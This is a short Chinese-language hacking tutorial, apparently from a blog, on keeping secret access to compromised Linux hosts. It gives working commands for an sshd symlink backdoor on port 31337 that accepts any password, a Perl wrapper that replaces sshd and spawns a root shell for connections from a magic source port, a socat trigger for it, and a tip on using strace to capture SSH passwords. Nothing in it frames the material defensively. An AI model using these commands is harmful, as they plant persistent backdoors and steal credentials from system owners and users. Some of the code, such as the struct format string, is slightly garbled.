用些小技巧,蒙蒙菜鳥管理員。
肉雞上執行
#!bash
[email protected]:~# ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;
就會派生一個31337端口,然后連接31337,用root/bin/ftp/mail當用戶名,密碼隨意,就可登陸。
效果圖:
在肉雞上執行:
#!bash
[[email protected] ~]# cd /usr/sbin
[[email protected] sbin]# mv sshd ../bin
[[email protected] sbin]# echo '#!/usr/bin/perl' >sshd
[[email protected] sbin]# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
[[email protected] sbin]# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
[[email protected] sbin]# chmod u+x sshd
[[email protected] sbin]# /etc/init.d/sshd restart
在本機執行:
#!bash
socat STDIO TCP4:10.18.180.20:22,sourceport=13377
如果你想修改源端口,可以用python的struct標準庫實現
#!python
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A
效果圖如下:
搞定主機后,往往想記錄肉雞SSH連接到其他主機的密碼,進一步擴大戰果,使用strace命令就行了。
效果圖: